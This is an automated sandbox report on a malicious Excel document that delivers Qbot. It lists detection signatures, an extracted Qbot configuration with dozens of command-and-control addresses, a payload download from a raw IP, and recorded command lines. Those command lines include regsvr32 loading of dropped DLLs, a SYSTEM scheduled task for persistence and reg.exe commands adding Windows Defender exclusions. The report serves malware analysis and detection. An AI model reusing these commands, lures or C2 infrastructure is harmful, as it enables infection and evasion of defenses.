Windows Analysis Report xls.xls

Overview

General Information

Sample Name: xls.xls
Analysis ID: 492442
MD5: 170b6a83db1f64901d186eda31962306
SHA1: 9dedf1b8c2af2ea202b62b8c8a07a314f56ca6d5
SHA256: 7afc98f96efa95af64e356e7857d7db38e9d2eb9a0b8cab36acc7f8b96b7f978
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0 Qbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Yara detected Qbot
Multi AV Scanner detection for submitted file
Document exploit detected (drops PE files)
Sigma detected: Schedule system process
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Maps a DLL or memory area into another process
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Office process drops PE file
Writes to foreign memory regions
Uses cmd line tools excessively to alter registry or file data
Sigma detected: Microsoft Office Product Spawning Windows Shell
Allocates memory in foreign processes
Injects code into the Windows Explorer (explorer.exe)
PE file has nameless sections
Sigma detected: Regsvr32 Command Line Without DLL
Machine Learning detection for dropped file
Drops PE files to the user root directory
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Yara detected hidden Macro 4.0 in Excel
Uses schtasks.exe or at.exe to add and modify task schedules
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Downloads executable code via HTTP
Drops files with a non-matching file extension (content does not match file extension)
PE file does not import any functions
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Uses reg.exe to modify the Windows registry
Document contains embedded VBA macros
Drops PE files to the user directory
Dropped file seen in connection with other malware
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection:

barindex
Found malware configuration
Source: 14.2.explorer.exe.c0000.0.unpack Malware Configuration Extractor: Qbot {"Bot id": "obama104", "Campaign": "1632729661", "Version": "402.343", "C2 list": ["95.77.223.148:443", "47.22.148.6:443", "89.101.97.139:443", "27.223.92.142:995", "120.151.47.189:443", "136.232.34.70:443", "120.150.218.241:995", "185.250.148.74:443", "181.118.183.94:443", "140.82.49.12:443", "67.165.206.193:993", "103.148.120.144:443", "71.74.12.34:443", "76.25.142.196:443", "73.151.236.31:443", "173.21.10.71:2222", "75.188.35.168:443", "2.178.88.145:61202", "71.80.168.245:443", "45.46.53.140:2222", "109.12.111.14:443", "105.198.236.99:443", "73.77.87.137:443", "41.248.239.221:995", "182.176.112.182:443", "96.37.113.36:993", "75.66.88.33:443", "162.244.227.34:443", "24.229.150.54:995", "216.201.162.158:443", "92.59.35.196:2222", "196.218.227.241:995", "24.139.72.117:443", "68.207.102.78:443", "72.252.201.69:443", "2.188.27.77:443", "177.130.82.197:2222", "68.204.7.158:443", "189.210.115.207:443", "181.163.96.53:443", "24.55.112.61:443", "75.107.26.196:465", "185.250.148.74:2222", "68.186.192.69:443", "24.152.219.253:995", "50.29.166.232:995"]}
Multi AV Scanner detection for submitted file
Source: xls.xls Virustotal: Detection: 30% Perma Link
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44467.7495993056[1].dat Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: amstream.pdb source: explorer.exe, 00000007.00000003.622662373.0000000002781000.00000004.00000001.sdmp
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000AEB4 FindFirstFileW,FindNextFileW, 6_2_1000AEB4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0008AEB4 FindFirstFileW,FindNextFileW, 7_2_0008AEB4
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1000AEB4 FindFirstFileW,FindNextFileW, 13_2_1000AEB4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000CAEB4 FindFirstFileW,FindNextFileW, 14_2_000CAEB4

Software Vulnerabilities:

barindex
Document exploit detected (drops PE files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: 44467.7495993056[1].dat.0.dr Jump to dropped file
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA Jump to behavior
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 190.14.37.178:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 190.14.37.178:80

Networking:

barindex
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 28 Sep 2021 16:00:02 GMTContent-Type: application/octet-streamContent-Length: 387072Connection: keep-aliveX-Powered-By: PHP/5.4.16Accept-Ranges: bytesExpires: 0Cache-Control: no-cache, no-store, must-revalidateContent-Disposition: attachment; filename="44467.7495993056.dat"Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 85 8c 3b 61 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 03 01 00 0a 03 00 00 f6 01 00 00 00 00 00 00 10 00 00 00 10 00 00 00 20 03 00 00 00 00 10 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 20 03 00 70 00 00 00 c8 10 04 00 7c 01 00 00 00 20 04 00 f4 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 04 00 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0c 09 03 00 00 10 00 00 00 0a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 65 64 61 74 61 00 00 70 00 00 00 00 20 03 00 00 02 00 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 20 00 00 00 30 03 00 00 14 00 00 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 61 74 61 00 00 00 54 bf 00 00 00 50 03 00 00 c0 00 00 00 24 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 74 00 48 06 00 00 00 10 04 00 00 08 00 00 00 e4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f4 0b 01 00 00 20 04 00 00 0c 01 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 50 00 00 00 30 05 00 00 50 00 00 00 f8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 50 00 00 00 80 05 00 00 50 00 00 00 48 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 50 00 00 00 d0 05 00 00 50 00 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /44467.7495993056.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.178Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.178
Source: explorer.exe, 00000007.00000002.888614780.0000000002030000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000005.00000002.623444753.0000000001DE0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.619701962.0000000001D20000.00000002.00020000.sdmp, regsvr32.exe, 00000008.00000002.624053267.0000000001C80000.00000002.00020000.sdmp, regsvr32.exe, 0000000A.00000002.624752810.0000000001D10000.00000002.00020000.sdmp, regsvr32.exe, 0000000C.00000002.638759143.00000000009E0000.00000002.00020000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000006.00000002.620761307.0000000002220000.00000002.00020000.sdmp, explorer.exe, 00000007.00000002.888614780.0000000002030000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44467.7495993056[1].dat Jump to behavior
Source: global traffic HTTP traffic detected: GET /44467.7495993056.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.178Connection: Keep-Alive

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable editing" in the yellow bar 19 above. 20 example of notification 22 ( 0 pRoTEcTmwARNNG This
Source: Screenshot number: 4 Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the 26 docume
Source: Screenshot number: 4 Screenshot OCR: Enable Macros ) 30 31 32 :: Why I can not open this document? 35 36 - You are using iOS or And
Source: Document image extraction number: 0 Screenshot OCR: Enable editing" in the yellow bar above. example of notification ( 0 PROTECTEDWARNING This file o
Source: Document image extraction number: 0 Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the document.
Source: Document image extraction number: 0 Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us
Source: Document image extraction number: 1 Screenshot OCR: Enable editing" in the yellow bar above. example of notification ( 0 pRoTEcTmwARNNG Thisfileorigi
Source: Document image extraction number: 1 Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the document.
Source: Document image extraction number: 1 Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us
Office process drops PE file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Drezd.red
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44467.7495993056[1].dat Jump to dropped file
PE file has nameless sections
Source: 44467.7495993056[1].dat.0.dr Static PE information: section name:
Source: 44467.7495993056[1].dat.0.dr Static PE information: section name:
Source: 44467.7495993056[1].dat.0.dr Static PE information: section name:
Source: Drezd.red.0.dr Static PE information: section name:
Source: Drezd.red.0.dr Static PE information: section name:
Source: Drezd.red.0.dr Static PE information: section name:
Source: Drezd.red.7.dr Static PE information: section name:
Source: Drezd.red.7.dr Static PE information: section name:
Source: Drezd.red.7.dr Static PE information: section name:
Source: Drezd.red.14.dr Static PE information: section name:
Source: Drezd.red.14.dr Static PE information: section name:
Source: Drezd.red.14.dr Static PE information: section name:
Detected potential crypto function
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_0019242A 6_2_0019242A
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191424 6_2_00191424
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193726 6_2_00193726
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00192C41 6_2_00192C41
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00194495 6_2_00194495
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_0019B114 6_2_0019B114
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191D89 6_2_00191D89
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191000 6_2_00191000
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191827 6_2_00191827
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_001934DA 6_2_001934DA
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191C5D 6_2_00191C5D
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193073 6_2_00193073
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_001932EB 6_2_001932EB
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00194162 6_2_00194162
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10016EB0 6_2_10016EB0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10012346 6_2_10012346
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10011758 6_2_10011758
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10014FC0 6_2_10014FC0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00096EB0 7_2_00096EB0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00092346 7_2_00092346
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00091758 7_2_00091758
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00094FC0 7_2_00094FC0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A242A 13_2_001A242A
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A3726 13_2_001A3726
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A1424 13_2_001A1424
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A2C41 13_2_001A2C41
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001AB114 13_2_001AB114
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A4495 13_2_001A4495
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A1D89 13_2_001A1D89
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A1000 13_2_001A1000
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A1827 13_2_001A1827
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A34DA 13_2_001A34DA
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A1C5D 13_2_001A1C5D
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A3073 13_2_001A3073
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A32EB 13_2_001A32EB
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A4162 13_2_001A4162
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_10016EB0 13_2_10016EB0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_10012346 13_2_10012346
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_10011758 13_2_10011758
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_10014FC0 13_2_10014FC0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000D6EB0 14_2_000D6EB0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000D2346 14_2_000D2346
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000D1758 14_2_000D1758
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000D4FC0 14_2_000D4FC0
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: xls.xls OLE, VBA macro line: Sub auto_open()
Source: xls.xls OLE, VBA macro line: Sub auto_close()
Source: xls.xls OLE, VBA macro line: Private m_openAlreadyRan As Boolean
Source: xls.xls OLE, VBA macro line: Private Sub saWorkbook_Opensa()
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000C6C0 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,GetCurrentProcess,NtUnmapViewOfSection,NtClose, 6_2_1000C6C0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000CB77 memset,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,FreeLibrary, 6_2_1000CB77
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1000C6C0 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,GetCurrentProcess,NtUnmapViewOfSection,NtClose, 13_2_1000C6C0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1000CB77 memset,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,FreeLibrary, 13_2_1000CB77
PE file does not import any functions
Source: Drezd.red.14.dr Static PE information: No import functions for PE file found
Source: Drezd.red.7.dr Static PE information: No import functions for PE file found
Uses reg.exe to modify the Windows registry
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ofsugluhreiu' /d '0'
Document contains embedded VBA macros
Source: xls.xls OLE indicator, VBA macros: true
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\Drezd.red 17D261EACA2629EF9907D0C00FB2271201E466796F06DCB7232900D711C29330
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: xls.xls Virustotal: Detection: 30%
Source: C:\Windows\System32\regsvr32.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Console Write: ......................(..........&R.....(.P.....................P.........................................................................(..... Jump to behavior
Source: C:\Windows\System32\reg.exe Console Write: ................P...............T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.........(.%.....N.......(............... Jump to behavior
Source: C:\Windows\System32\reg.exe Console Write: ................................T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.........x.......N.......(............... Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd.red
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Drezd.red
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd1.red
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn mywmprn /tr 'regsvr32.exe -s \'C:\Users\user\Drezd.red\'' /SC ONCE /Z /ST 18:03 /ET 18:15
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd2.red
Source: unknown Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s 'C:\Users\user\Drezd.red'
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red'
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ofsugluhreiu' /d '0'
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Csbfke' /d '0'
Source: unknown Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s 'C:\Users\user\Drezd.red'
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red'
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd.red Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd1.red Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd2.red Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Drezd.red Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn mywmprn /tr 'regsvr32.exe -s \'C:\Users\user\Drezd.red\'' /SC ONCE /Z /ST 18:03 /ET 18:15 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red' Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ofsugluhreiu' /d '0' Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Csbfke' /d '0' Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red' Jump to behavior
